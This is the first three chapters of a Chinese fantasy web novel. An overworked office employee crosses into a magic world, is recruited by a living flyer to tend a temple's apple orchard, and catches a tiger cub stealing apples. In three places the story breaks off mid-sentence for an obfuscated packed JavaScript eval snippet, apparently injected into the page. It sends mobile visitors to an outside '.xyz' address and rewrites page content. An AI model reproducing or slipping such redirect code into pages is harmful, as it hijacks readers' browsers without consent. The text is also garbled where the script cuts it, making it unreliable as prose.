《圣神果园临时工》 1. 魔法传单 窗外暴雨如注,不时有暴雷轰隆作响。 凌晨三点二十五分,宋云州聚精会神地盯着显示器上的字列,敲下最后一个字符。 他轻舒一口气,靠上椅背放松一瞬,立刻操纵鼠标保存文件。 终于结束了加班,宋云州看了眼早已熄灯的办公区域,只有他的工位上还亮着一盏小台灯。 整层办公楼就剩下他自己了。 宋云州关闭电脑,探身望向落地窗外被倾盆大雨笼罩的街道。 纵使这里靠近繁华的市中心商业街,在这个时间点和天气下也看不见任何行人或车辆。 宋云州租的房位于市区周边,房租较低,恰好让他能用大学期间勤工俭学攒下的钱负担起,就是离单位距离远些,有两个小时的车程,要先坐地铁再换乘公交。 且不说还有不到五个小时就又要上班打卡,就算是他想回家也没有能乘坐的公共交通了。 看来只好又在工位上凑活一晚了。 宋云州轻车熟路地收拾桌面,开辟出一处空当,关上台灯,选了个比较舒服地姿势趴在桌上。 但根据以往经验,不管他用什么姿势,早晨醒来也一定会四肢发麻,脖颈酸痛。 宋云州习惯性地轻声自言自语了一句“晚安”,刚闭上双眼,就听见摆在肘边的手机响了起来。 看到来电显示,宋云州的第一反应就是今晚大概睡不成了。 电话接通,部门主管刚从睡梦中醒来的困倦声音传了出来,果然交代了一个急活,明确表示明早就要上交。 宋云州抿了抿唇,很快向上扬起嘴角,声音轻快地应下了对方的要求。 为了养活自己,大学毕业后宋云州没考虑继续读研,选择直接工作。 工作着实不好找,他就读的院校并不算好,投了上百份简历,才有这唯一一家公司愿意聘用他。 虽然工资不高,加班频繁,但努力转正后应该还是比较稳定的。 宋云州很乐观,没关系,加班总比失业没收入要好得太多了。 他伸手去按台灯,不料重复按了几次开关都没有反应。 怎么在这时候坏了? 公司为节约能源,晚八点下班后就禁止员工再使用大灯,宋云州可不想在24小时监控下“顶风作案”。 他调亮手机的手电筒,打算用它将就着照明,正要启动电脑时,忽然一道闪电在窗外划过,把整个办公区域照得雪亮。 与此同时,宋云州面前的电脑屏幕竟没来由地发出刺眼白光,他被白光闪得一阵头晕目眩,直接从椅子上摔倒在地。 宋云州躺在地上半晌才重新恢复意识,慢慢睁开眼睛,明媚的光线和略显嘈杂的人声一齐向他涌来。 宋云州揉着太阳穴坐起身来,随意看向周围,不由惊讶愣住。 他身下不是公司冰冷的瓷砖地,而是被正午阳光炙烤得十分温暖的土地,这里像是一条繁华的大街,还有一圈人围在他身边。 围观人群的衣着风格独特,色彩张扬艳丽又不失美感,酷似在拍西幻电影的演员。 不等宋云州彻底弄明白发生了什么,就有穿蓝裙的热心大嫂问他怎么会突然昏倒,需不需要帮助。 宋云州婉拒并道了谢,逃也似地从人群中脱身,走到无人的街边一角坐下,自行冷静。 他看着自己身上和往来行人相似款式的服装、街道两边古朴的砖石建筑、被车夫赶着的各种拉车牲畜,缓了半天,不得不接受了这个事实—— 他穿越到了一片异世大陆。 宋云州去卖镜子的店铺转了一圈,打磨光亮的镜面映照出熟悉的清秀五官。 他的身体还是原来的那副,身形样貌都没有发生任何变化。 他并没有像以前读过的穿越文的主角那样,接收到有关这个世界的任何信息或记忆,或是拥有一个初始身份。 宋云州认为他这样的情况或许不能算作穿越,他就像是无意中闯入这个世界的外来者,格格不入的异乡人。 但宋云州觉得这样也挺好的,他不需要去扮演任何人或身份,只用做他自己就好。 宋云州了无牵挂,既来之则安之,最首要的任务就是找到一个落脚的地方,再想办法整点儿吃的。 他连续问了数家店铺招不招人,全部被拒绝,他也不气馁,正要走入下一家店碰碰运气,有人在身后叫住了他。 说话的是一位老人,他坐在两家店铺之间的窄巷口,摇着扇子乘凉,无意间听见了宋云州和店主的对话。 老人身形瘦削,头发花白,闭着眼睛慢悠悠道:“小伙子想找工作?去城门口的告示牌那儿看看,好多招工的都会把消息贴在那里,你兴许就能找到适合的。” 宋云州连忙问:“老人家,我刚来不久,对这城里的路还不太熟悉,要去城门该怎么走啊?” 老人用扇子指了个方向:“沿着它一直走,在第五条岔路右拐,你就能望见城门了。” 说这话的时候,老人的眼睛一直没有睁开。 宋云州:“……”怎么看都觉得怪怪的。 宋云州谢过老人,没有立刻按照老人的话行动,而是走到老人听不见的地方,先后随机询问了三个过路人,确认老人的话属实,这才放心地迅速向城门赶去。 土黄色瞭望塔伫立在巨大的拱形城门两侧,身穿银白铠甲的士兵举盾佩剑巡查护卫,庄重威严。 等宋云州气喘吁吁停下脚步,发现告示牌前并不像他想象中那般人满为患,顿时放松下来。 各色纸张交错张贴在告示牌上,零星有人驻足,好奇地随意看上几眼就转身离开,只有宋云州从告示牌的起始处看起,仔细浏览每一条信息。 纸张上面的字明明都是宋云州从没见过的陌生字符,可神奇的是他居然一眼就能看出写的是什么内容。 告示牌上的信息大部分都是求购和悬赏,拿着张贴方需要的稀有物品登门,就能得到一笔远超市值的报酬。 这些虽然和宋云州目前的需要不符,但他心思活络,马上发觉这是兼职赚外快的绝佳途径。 贴在最中间、同时也是最大的一张,是来自塔维丽安王室的悬赏告示,光看纸的质地就要比其他的高级许多。 其上用黑色大字书写:“若有人进献之狼皮,可使星河倒悬,此人将获……” 告示张贴日久,最底下的字可能淋过雨,晕染成一片墨迹看不清了,无从得知王室会给出怎样丰厚的奖赏。 宋云州在意的倒不是奖赏,他好奇地反复看了几遍能看清的字句,愣是没看太懂。 “使星河倒悬”? 他还是第一次看到有人用这个来形容狼皮。 宋云州又看了几眼,眼角余光无意间瞥见贴在旁边的一张小纸条,上面似乎写着有面包店在招学徒。 他顿感惊喜,赶紧转移注意力,抬腿朝小纸条的方向走去。 不料他身子向前,腿却没能移动,往前趔趄了一下。 有什么东西拖住了他的左脚。 宋云州惊讶低头查看,只见有一张浅褐色的纸一半落在地上,另一半搭在他的脚后跟,纸张的两个边角像小手一般环抱住他的脚踝。 此时没有一丝风,这张纸不知道是从哪里冒出来的。 宋云州环顾四周,周围的人离他都有一段距离,不可能来拽他脚踝又马上离开,唯一有可能的就是这张纸。 他难以置信刚才的那股强劲力量是来自这张薄薄的纸。 宋云州弯腰尝试捡起褐色纸,没想到不费吹灰之力就把它拿到了手里。 褐色纸轻飘飘的,和他用过的打印纸差不多大小,但摸起来的手感要细腻太多,似乎是某种动物的皮子制的。 宋云州翻来覆去地把这张纸看了又看,两面都是完全空白的。 就在宋云州觉得奇怪却又说不出具体奇怪在哪儿的时候,纸面上突然渐次浮现出数行文字—— 【亲爱的朋友下午好呀!】 【你是在找工作吗?来圣神果园吧!】 【工作轻松环境好,可以免费住神殿,无限量三餐吃到撑,每月薪酬随你定!】 【想去的话,我可以马上为你带路!】 文字后面跟着一只简笔线条勾勒的Q版红色小章鱼,正扬起大大的笑脸。 看到这违反常理的一幕,宋云州瞬间释然,放松下来,从他看小说的经验中得到了解释。 ——原来是魔法啊。 但很快,宋云州仿佛突然惊醒,意识迟钝了一拍才真正反应过来。 是魔法! 他居然看见真的了! 宋云州激动地用双手抓住褐色纸,生怕它会突然从指间溜走,又不敢用太大的力气,担心会把它扯坏了。 宋云州满眼新奇,重新细看这张纸,纸的四边缘颜色更深,且有少许破损,不知道是故意做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142429|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧,还是真的很古老了。 他越看越觉得它像传说中魔法书的某一页。 直到小章鱼的笑脸逐渐变成疑惑他在看什么的问号脸,宋云州才开始认真思考纸上的文字。 原来也是个招聘启事。 去果园工作? 宋云州并没有和各类蔬果作物打交道的经验,但他学习能力很强,只要用心学肯定能顺利上手。 只是…… 宋云州盯着其中两个字出神,喃喃自语:“圣神……真的存在吗?” 没想到褐色纸竟真能听见他说的话,纸上原本的文字转眼消失,新的内容浮现出来。 【当然存在啦!赫狄弥斯只是沉眠了,又不是睡死过去了!】 不得不说,宋云州确实是有一些心动的。 且不说这张魔法传单像极了可以重复书写的聊天框,光是见到它都是难得的神奇体验,神殿里应该还会有更多未知的有趣事物。 难得穿越一次,就该把握住机会多去见识见识,哪怕是去亲眼看看真的神明长什么样子也好啊。 理智却告诉宋云州做人还是要务实一些。 西幻世界的神明都是最崇高神圣的存在,就算是在果园工作的员工肯定也要经过千挑万选,就算他去面试,被刷掉的几率也很大。 更重要的是,他初来异世界,对这个地方的各类规则法度并不熟悉,万一无意中做出什么事,冒犯了神明,会不会有生命危险啊? 眼看太阳逐渐西斜,也不知道城中的店铺会不会通宵营业,要是还没找到去处,身无分文的他恐怕只能睡在大街上了。 宋云州不喜欢那种感觉,激动雀跃的心情迅速平静下来。 针对眼下的情况,还是面包店更适合他。 神殿果园什么的还是等他在这个世界混熟了再做打算吧。 宋云州对魔法传单抱歉道:“以后有机会我再去神殿试试,现在就算了,你再去找找别的人吧。” 说完,宋云州就想把它重新放到一边,不料拿起来容易,再放下就难了。 魔法传单用下边页角牢牢抱住宋云州的手,努力展平上半部分。 【果园工作真的超级轻松的,我帮你做都可以!你只用拿工资就行!】 【纳卡诺大坏蛋说我必须招到人以后才能回去,我真的好想回家啊!】 【求求你了!!!】 小章鱼的触手们两两合十,做出诚心祈求状,大眼睛里眼泪汪汪。 见宋云州没反应,小章鱼的眼泪渐渐往外奔涌,形成了两股弯弯的水柱,哭得伤心极了。 就算小章鱼的动作一直是以简笔画的形式出现,宋云州依然觉得能听见它的嚎啕大哭。 宋云州面色凝重,空着的左手向纸张伸去。 魔法传单似是有些害怕地瑟瑟发抖,却仍是没松开他。 没有预想中不耐烦地把它撕成好几半,小章鱼感觉到青年的手指轻轻碰了碰它的一根触手。 “你……你先别哭,我……” 宋云州想安慰可怜的小家伙,又不知道该说什么。 小章鱼止住眼泪,吸吸鼻子,眨巴了两下眼睛,盯着欲言又止的宋云州,脑筋飞速转动,思考后得出一个结论—— 他动摇了! 好机会! 【如果还没想好的话,我可以带你先去神殿转一圈,要是你实在不喜欢那里,我就再把你送回来嘛!】 宋云州看到这些字,还不等他做出回应,立时有一股牵引力从他的右手上传来。 他的双脚不受控制地开始跟着魔法传单的指引飞快地跑起来。 “等、等一下!” 宋云州抗议无效,魔法传单没再出现新的字。 宋云州的喊声引来旁人纷纷侧目,落在别人眼中,就是一个俊俏青年右臂伸直,平举着一张纸向前奔跑,姿势怪异。 此时此刻宋云州没心思看向周围的人,因而没能留意到其他人看到这张褐色纸时,立刻流露出的古怪神情。 宋云州一刻不停地冲出城门,视野顿时充盈了大片金黄,又因他的快速奔跑而消失。 他好奇地边跑边回过头,看见高耸的城墙外围生长了许许多多不知名的金色花朵,如护城河般环绕着整座城池,一眼望不到尽头。 一块大石碑矗立在城门左前方的花丛中,上面镌刻着这座城的名字—— 伦达奥。 2. 圣神果园 宋云州被魔法传单带着,以五十米冲刺的速度跑出好长一段距离,竟一点儿没感到疲累。 伦达奥城被远远甩在身后,看不见了,取而代之的是无边无际的苍翠山林。 宋云州在盘山道上奔跑,眼看越跑越偏,他心中不免打鼓。 神殿就算不位于繁华的城区,也不该在这荒山野岭、人迹罕至的地方,不会是这张纸在打着神殿的旗号坑蒙拐骗吧。 “你到底要带我去哪儿?” 宋云州第八次喊出他的问题,魔法传单依然没有给出回应,只有他的回声在山林间回荡。 宋云州多次尝试停下,可身体已经完全不听他的使唤。 他只是一个普通人,反抗不了魔法的力量。 没想到在异世界也会遇到求职陷阱,不会真上了那只小章鱼的当了吧? 可它骗自己有什么用呢? 宋云州在脑海中胡思乱想,以至于他愣了一下才意识到他突然停了下来。 空白的魔法传单终于再次出现字符。 【辛苦啦,到这里就简单了,后面就交给我吧!】 小章鱼摆出一副很可靠的样子,拍了拍自己并不存在的胸脯。 魔法传单突然飞离宋云州的手,莫名其妙开始自燃,灼热的纸屑灰烬纷扬洒下,滚烫火气扑面而来。 宋云州下意识扬手挥开落向他身上脸上的纸烬。 就在他动作的同时,他站立的空间瞬间改换。 灰烬消失,宋云州的视线重获清明,当他看清眼前景象后,不由被深深震撼。 竟真的有一座神殿出现在他面前! 神殿巍峨壮丽,通体纯白,圣洁得不染纤尘,完全由石料打造,粗大巨柱一字排开,威严气派,殿身各处还雕刻有精致繁复的花纹图样。 周围群山环抱,神殿坐落其间,沐浴金灿灿的夕阳,仿若避世的仙境。 宋云州站在神殿正门入口的大道上,目不转睛地欣赏这一切,一时忘了自己来此的目的。 神殿紧闭的巨大殿门缓缓打开,一位身着黑衣的男人走了出来。 男人用了魔法,只迈出十分正常的一步,就掠过了长长的大道,来到宋云州面前。 宋云州虽然已经接受这个世界有魔法的设定了,但看到突然靠近的陌生男人,他还是不由自主地退了半步。 男人肩背笔挺,灰黑色短发,看起来大概三十来岁,眉眼间很有种成熟男人的韵味,是极易让人产生依赖的长相。 宋云州觉得自己后退的举动看起来有些失礼,正斟酌着如何开口,就听男人率先道:“我叫纳卡诺,是神殿的管理者。你是来果园工作的吧?” 不知道为什么,宋云州听见男人名字的第一反应,是魔法传单上的那句“纳卡诺大坏蛋”。 想起魔法传单,宋云州马上道:“我叫宋云州,我是跟着一张传单来到这里的,它刚才烧着了……” 他有些迟疑:“它还在吗?” “传单?”纳卡诺微微偏头,似是没想到宋云州的第一个问题是这个,“你是指‘菠萝’?” 宋云州没明白这两者有什么关联。 纳卡诺扬手,黑色雾气在他掌中一闪而逝,一张纸在宋云州面前的半空中显形。 正是小章鱼。 宋云州松了口气。 小章鱼在纸上热烈挥舞触手跟宋云州打招呼:【“菠萝”就是我的名字,你可以这么叫我,或者叫我“小菠”或“小萝”都可以!】 小章鱼可可爱爱,宋云州笑着说:“那我就叫你‘小菠’好了。” 小菠惊喜:【这么说你打算要在这里工作啦?!】 宋云州一怔,说得是啊,他原本是被迫来神殿看看,怎么开始主动和人家套近乎了? 宋云州无奈,他果然对软萌可爱的事物没有任何抵抗力,差点儿就把自己卖了。 纳卡诺手指微动,小菠落在他的手中,自动卷成了纸卷。 纳卡诺:“我先带你去看看工作的地方,你再决定要不要留下,怎么样?” 纳卡诺语调沉稳,平和地提出建议,宋云州找不到拒绝的理由。 纳卡诺并未带宋云州穿行神殿,而是从殿外绕行,他没再使用魔法,两人以寻常的步速行走。 神殿后方是纯白石料铺就的圆形空地,直径与神殿的长度近似,开阔宏大,不知使用了什么方法令石块浑然一体,完全看不出拼凑的痕迹。 空地周围种满了各色的鲜花。 宋云州边走边努力环顾四周,觉得眼睛都不够用了。 他和纳卡诺穿过爬满紫藤花的白色拱形长廊,行经一条洒满树荫的石板小径,来到了果园的入口处。 说是“入口”,其实并没有篱笆之类的明确分界线,只有一块有些破损的木板倚靠在入口旁的树上,竖着写了“圣神果园”四个字,最上方画了一颗红彤彤的苹果。 这是在神殿旁边一座矮山的半山腰开辟出来的一片平整土地,整整齐齐地种满了一排又一排苹果树。 苹果树在这个时节已经开始陆续结出果子了,红润饱满的果实将本就不算高的枝条压得更低。 清甜的苹果香气飘散在空气中,让人食指大动,很想马上摘下来一颗大咬一口。 纳卡诺在果树前驻足,介绍道:“这就是需要你工作的地方,共有苹果树三千六百八十二棵,你负责照料它们。” 宋云州问:“有多少人在果园工作?” 果园里静悄悄的,不像有其他人活动的样子。 不止是果园,走来的一路上宋云州也没看见除他们俩以外的人。 纳卡诺如实回答:“只有你一个人。” 宋云州:“……” 纳卡诺补充了句:“神殿中人不多,都有各自的事情要做,果园里只有你。” 看着面前男人一脸理所当然的表情,宋云州的内心在平静的表面下风起云涌。 不是,怎么连神殿也要压榨打工人?! 就他一个人管三千多棵树,光是他能想到的工作就有浇水、施肥、驱虫、除草、摘苹果,想不到的工作还不知道有多少。 怪不得小章鱼招不来人,这也太坑了吧! 吐槽归吐槽,宋云州急需一份工作,加班什么早就习惯了,倒也不是不能接受。 神殿周边的景色的确动人,他想等等看这里提供的待遇怎样。 谁料纳卡诺接下来说的话,让宋云州原地反省他刚才在心里吐槽的声音有点儿大。 纳卡诺道:“果园受圣神法力庇佑,果树可以自行生长,不需要你做浇水之类的事情。你唯一要做的就是巡视果园,如果发现有果树出现枯萎的迹象,就立刻把它铲掉,然后来告诉我一声,我会给你新的树苗去种。” 宋云州的眼睛一下子亮了起来:“巡视果园有时间要求吗?” “你愿意的话,可以随时来果园闲逛。要是懒得总往这边跑……”纳卡诺想了想,“只要保证每半个月能完整巡视一遍整个果园就好。” 宋云州不敢相信自己居然撞了这么大的好运,再次确认:“我只用做这些?” 纳卡诺点头,再加一条极具诱惑力的条款:“还有,果园的苹果你可以随便摘随便吃。山上的一些小动物也会来吃苹果,由它们去,没对果树造成损坏就不用管。” 宋云州顺着纳卡诺的视线望向果园以外的深林,突然想到很重要的事情:“山里有野兽吗?” “这边山上没有大型野兽,可以放心。”纳卡诺向宋云州承诺,“不过万一遇到危险,只要你身在神殿范围之内,大喊我的名字向我求救,我就会立刻赶来。” 男人不苟言笑,行事认真,这句话从他嘴里说出来,令宋云州瞬间安心。 和果园有关的没什么其他事项要交代了,纳卡诺观察宋云州的表情,适时提议道:“我们去看看住的地方?” 宋云州旋即应下。 两人原路返回,走过圆石空地,正要从侧门进入神殿。 宋云州蓦地在神殿的石阶前停下脚步。 纳卡诺领先宋云州几步,在意识到宋云州并未跟上来后,他没有立刻转身开口询问,也没有走回宋云州身边,而是步伐不变地继续向上,直至踏上最高层的那级阶梯。 纳卡诺立在白色巨柱投下的阴影中,自高处静默俯视宋云州。 两人相距三四十级石阶,又恰有灿灿霞光自宋云州身侧洒下,光斑充斥视野,他无从看清纳卡诺的面容与神情,只能看到那袭醒目的黑衣。 纳卡诺身上纯黑的衣袍与白色神殿形成了强烈的反差,原本突兀,却在此时使他完美融于神殿的黑暗,显得本该如此。 可能是这个地点的问题,强化了神殿的压迫感,站在下方的宋云州产生一种他正在接受审判的错觉。 宋云州轻咳一声,忽略掉不舒服的感觉:“圣神现在在神殿里吗?” 纳卡诺发冷的声音回荡在空阔的神殿走廊上:“为什么突然问起他?” “我听小菠说圣神正在沉眠,祂什么时候醒来?我不熟悉祂的脾气喜恶,担心会做错事,你能不能先告诉我一些注意事项,或者是必须遵守的禁忌?” 宋云州的声音越来越小,他后知后觉地想到—— 在这里说话会不会被圣神听到啊? 纳卡诺冷峻的表情因这番话而松动,他在某一瞬间陷入回忆,又很快恢复清明。 他沉默良久,久到宋云州以为这份工作可能泡汤了,才回答道:“你所想的事不会发生,他温柔又体贴,从未轻易伤害过任何人,而且短时间内他不会醒来。” 宋云州很高兴听到纳卡诺这么说,但他没敢表露出来,只淡定地“嗯”了一声。 比起未知的神明,他还是更喜欢和人打交道,哪怕那人会他不会的魔法也不是问题。 神嘛,还是沉眠着被远远供奉起来比较好。 宋云州像被解除了限制行动的魔法,脚步轻快地攀上阶梯。 落日在他身上洒下无数暖黄光点,看起来倒像是他在发光一样,阳光随着他的足迹移动。 纳卡诺望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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站在这里可以将整个湖泊尽收眼底,只是这样望着它,就获得了心灵的宁静。 最初的一瞬惊喜过后,宋云州越发觉得这个位置奇怪,他推开窗户探头朝下面看了一眼,惊讶发现神殿正对着的大道就在他窗户的正下方。 这个房间位于神殿最中心的位置,怪不得它比刚才那间屋子大了三倍不止,装潢更精致,自带小型会客厅和沙发,地上还铺了厚实的全屋地毯。 宋云州十分震惊,这种级别的房间真是他能住的吗?! 纳卡诺对此倒没有太大反应,看宋云州很满意的样子,他把一直握在手中的菠萝送到宋云州面前。 褐色纸张在宋云州面前展开,同时有一支羽毛笔浮现在半空中。 “没问题的话就把契约签一下吧,每月底支付报酬,大概是一些金银制品,到时候带你去挑。” 没问题! 简直不能再没问题了! 轻轻松松的梦中情工,外加妥妥的湖景房,这跟度假有什么区别?! 小菠居然一点儿没有虚假宣传。 宋云州都觉得他应该倒给神殿交点钱才不算白嫖。 不过在魔法世界签订契约一定要慎之又慎,否则一不小心就会变成灵魂抵押什么的,一定要提前确认好工作的年限,给自己留出退休养老的日子。 宋云州握住笔,细看了看契约内容,结果震惊发现神殿怎么比他还谨慎—— 契约时间竟然只有六个月。 这是试用期吗? 宋云州委婉表示他其实可以工作得更长久点儿,六十年起步也是可以接受的。 纳卡诺却说:“到时可能会有一些变故,是否还需要你看顾果园我也说不准。” “哦。” 宋云州在小菠触手指出的空白处签上了他的名字。 没关系,能有六个月的时间体验梦想中的生活已经很好了。 契约文字消失,小菠用触手比出爱心:【欢迎欢迎!祝你在神殿生活愉快!】 一声悠长绵延的钟声响起,在整个神殿范围内荡漾。 纳卡诺看了一眼墙上的时钟:“该吃晚餐了,但这几天餐厅没人,我会直接将一日三餐送到你房间。” 没什么该说的了,纳卡诺最后问了宋云州一句:“你还有其他需要吗?” 在得到否定的答案及感谢后,纳卡诺拿上小菠迅速化身一团黑雾离开,顺手帮宋云州轻轻关上了房门。 宋云州在原地静静站了一会儿才终于有了真实感,他趴到窗边大吸了一口来自湖泊的新鲜空气,又展开手臂躺倒在弹性十足的大床上,嘴角止不住地上扬。 他觉得自己可能是这个世界上最快乐的临时工了! 但很快,宋云州就变得不那么快乐了—— 因为第二天一早他刚到果园入口,就看到了一片狼藉。 好几棵果树的枝杈大面积被折断掉在地上,苹果滚了一地,每个成熟的苹果都被参差不齐地咬了几口。 不仅如此,果树的树皮还被抓掉了好多,露出了淡黄色的内里。 宋云州瞳孔巨震,上班第一天就要面临失业危机吗?! 3. 萌虎崽崽 宋云州连忙逐一检查受损果树的状态,幸好几棵树都很顽强,就算断了树枝、缺了树皮也没有影响存活。 他捡起掉在地上的大片树皮,拍掉上面沾的泥土,试图重新贴回树干上补救一下。 贴倒是能贴上,就是待不住,没一会儿就又纷纷掉了下来。 宋云州只好放弃。 他把掉落的枝叶和被咬坏的苹果收集到一起,扔进旁边的山林里处理掉。 可苹果树光裸的树干太过显眼,宋云州发愁要是纳卡诺心血来潮突然来视察工作,他该怎么交代啊? 苹果树边的泥土上有一连串脚印,应该是某种野生动物来吃苹果时留下的。 宋云州认不出究竟是什么动物,但看脚印大小,动物体型应该不会太大。 而且它不擅长爬树,爪子没用好力,把树皮都抓掉了好几块,树枝应该也是在它够苹果时不小心压断的。 ——笨笨的,胖胖的。 这就是宋云州对这野生动物的初步印象。 看来还是得想办法抓住它,就算抓不住,至少也得知道是什么动物搞的破坏,那样在纳卡诺问起时才有办法应对。 宋云州盯着果树思考片刻,回神殿取来一些工具,开始着手布置一个简易陷阱。 他在离受损果树不远的地方挖了个垂直的土坑,再用一块黑布蒙住洞口,黑布四边缘用小石块压住。 宋云州把五个新鲜摘下的红苹果小心翼翼地放在黑布中心位置,这是黑布能保持静止的重量极限,哪怕是再加半个苹果,黑布都会直接坠入坑里。 土坑将近半米深,用来困住不善攀爬的小动物绰绰有余。 既然爬树费劲,宋云州不信直接放在地上的苹果吸引不了它。 宋云州准备好陷阱,一鼓作气把整个果园走了一遍,看看还有没有其他果树受损。 三千多棵果树占地面积广阔,且依山势分布,宋云州预先想到他有可能迷路,在路上不时做一点标记,结果还是兜兜转转了半天才走出来。 值得庆幸的是余下的果树长势良好,只有入口处的六棵果树遭了殃。 宋云州刚一靠近入口处,就隐约听见一阵奇怪的“嘎吱”“嘎吱”声。 他心里先是一紧,随即想到了什么,快步跑到他挖的陷阱边,果然发现蒙住坑口的黑布不见了。 陷阱毕竟过于简陋粗糙,宋云州其实并没抱太大的希望,所以他现在很是震惊。 就他巡视一遍果园的工夫,没想到那动物这么快就又来偷吃,而且还真掉进他的陷阱里了! 究竟是什么家伙这么好抓? 宋云州好奇地探头望向坑底,一团黑黄色花纹的胖毛球出现在他眼前。 圆耳朵,长尾巴,是一只毛茸茸的…… 小老虎?! 虎崽察觉到有人靠近,居然一点儿也不害怕,抬头看了宋云州一眼,就低下头继续啃苹果,看着很香地嚼嚼嚼。 宋云州可没有它这么淡定,抓到只老虎是他完全没料到的。 纳卡诺不是说这周围没有猛兽吗? 那这虎崽是哪来的? 宋云州立刻握紧手里的铁锹,警惕地观察四周,等了片刻确认没有风吹草动才稍稍放松下来。 不像有成年老虎在周围窥伺的样子,这只虎崽很可能和亲属失散了。 宋云州的猜测还是很有可信度的,毕竟要是有其他老虎在的话,虎崽现在吃的或许就不是苹果,而是他了。 宋云州坐在坑边观察了虎崽一会儿,想着该怎么把它从坑底弄出来。 以防被咬到,最保险的办法就是用铁锹把虎崽铲上来,可万一没控制好力度,坚硬的铁器很容易弄伤它。 思来想去,宋云州最终选择趴跪下来,找准角度,迅速俯身伸手揪住了虎崽的后颈皮,一把将它提了上来。 虎崽出乎意料的乖,一点儿挣扎都没有,只是在被提起的那刻,还记得用两只前爪抱起最后一个没吃完的苹果。 宋云州顺势坐在地上,把虎崽举到眼前,有生以来第一次细致地观察一只真老虎。 虎崽皮毛油光水滑,毛色鲜艳靓丽,额头上标志性的“王”字形黑花纹还没长开,刚有一点儿浅淡的雏形。 它睁着圆溜溜的琥珀色大眼睛,和宋云州对视,悬在它身后的毛尾巴晃晃荡荡。 宋云州对虎崽的防备全线崩塌,他看虎崽宝贝似地搂着苹果不撒手,起了逗它玩的心思,故意用另一只手拿走了虎崽怀里的苹果,举在离它有一小段距离的地方。 虎崽肉眼可见地呆了一下,“嗷嗷”叫着抗议两声,抬爪在空中挥了挥,努力去够苹果。 它的爪垫粉粉嫩嫩,爪子也磨得钝钝的,没有半分杀伤力,反而看起来很好摸。 宋云州慢慢把苹果移到虎崽近前,看着它的目光随苹果移动,甚至感觉到虎崽咽了一口口水。 或许是觉得没有危险,或许是苹果太具诱惑,虎崽探过头来,就着宋云州的手又咬了一口苹果,嘎吱嘎吱地吃起来。 宋云州看着虎崽因为认真咀嚼而颤动的胡须,觉得心都要被萌化了。 它真的太可爱了! 宋云州抱着虎崽走到果树下,对比了一下它肉乎乎的爪垫和地上的脚印,确认它就是当事虎无疑。 虎崽把树抓坏的事肯定要告诉纳卡诺,就是不知道纳卡诺会怎么处置它,把它扔回远处的山里去吗? 宋云州不舍地盯着虎崽的毛脑袋,上手揉了揉,忽而心念一动。 反正这里是异世界,或许……他可以把虎崽养起来? 宋云州打定主意,当即抱着虎崽走回神殿,等踏上圆石空地,他才后知后觉地想起来他不知道该去哪里找纳卡诺。 纳卡诺说过遇到危险就直接叫他,那是不是现在也能用这种方式找到他? 宋云州试探性地对着空气叫了一声:“纳卡诺,我有事找你。” 静待片刻,无事发生。 有可能是声音太小了? 宋云州正要加大音量再喊一遍,还没张嘴,他身前不远处突然浮现出一团黑雾。 纳卡诺从雾中走了出来。 宋云州惊奇,纳卡诺居然真的能听见,并且出现了。 他抱着虎崽上前几步,率先打了个招呼。 “出什么事……”纳卡诺原本沉静询问,但当他的目光落到宋云州怀中的虎崽身上时,淡然的语调一下子维持不住了,“你在哪儿找到他的?” 宋云州以为纳卡诺也没想到果园周围有老虎出没,并未多想,简明扼要解释了一下果园里发生的事,马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142431|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始为虎崽开脱。 宋云州顺了顺虎崽的背毛,可怜道:“它这么瘦小,一看就是被同伴排挤,吃不饱饭才会来偷苹果。没人疼没人爱,又没人教它爬树,它绝对不是故意搞破坏的。” 宋云州手指移到虎崽身侧,轻轻捏起一小块皮毛,他本想向纳卡诺展示一下虎崽瘦骨嶙峋的惨状,博得心软和同情,结果却轻而易举掐出了一把肉肉。 宋云州:“……” 事实上,虎崽分明就是一个圆滚滚、胖嘟嘟的毛团,和“瘦”字完全不沾边儿。 宋云州神色不变地松开虎崽的肉肉,昧着良心睁眼说瞎话:“你看,它都瘦得皮肉分离了。” 纳卡诺:“……” 纳卡诺根本没在意宋云州说了什么,他目光灼灼地盯着虎崽,垂在身侧的双手渐渐紧握成拳,难以言表的焦虑席卷他的身心。 反观虎崽,它正轻松惬意地歪倚在宋云州怀里,柔软爪垫轻轻推了推宋云州的胳膊,又偏头蹭蹭宋云州的胸膛,调整出最舒服的姿势,眯起眼小憩,没有分给纳卡诺任何眼神。 宋云州铺垫一通,见纳卡诺并未出言反对,遂提出了他的真实目的:“我想把它养在身边。” “不行!” 纳卡诺捕捉到关键词句,想都没想,斩钉截铁地拒绝。 “神殿不许养宠物吗?” “不是不能养宠物,而是……” 宋云州没等来下文:“而是什么?” 纳卡诺欲言又止,到底也没把后面的话说出来,他转而言道:“他毕竟是老虎,还是放归林间生活更适合他。” 宋云州据理力争:“可它还小,靠自己是找不到什么食物吃的。如果不管它,它还会再来偷苹果,果树也禁不住总被它爪子那么抓。我只是暂时照顾它,等它长大后、有能力养活自己了,就会让它回森林去。” 纳卡诺懒得再接着编蹩脚的理由,直接伸手就想把虎崽抢过来。 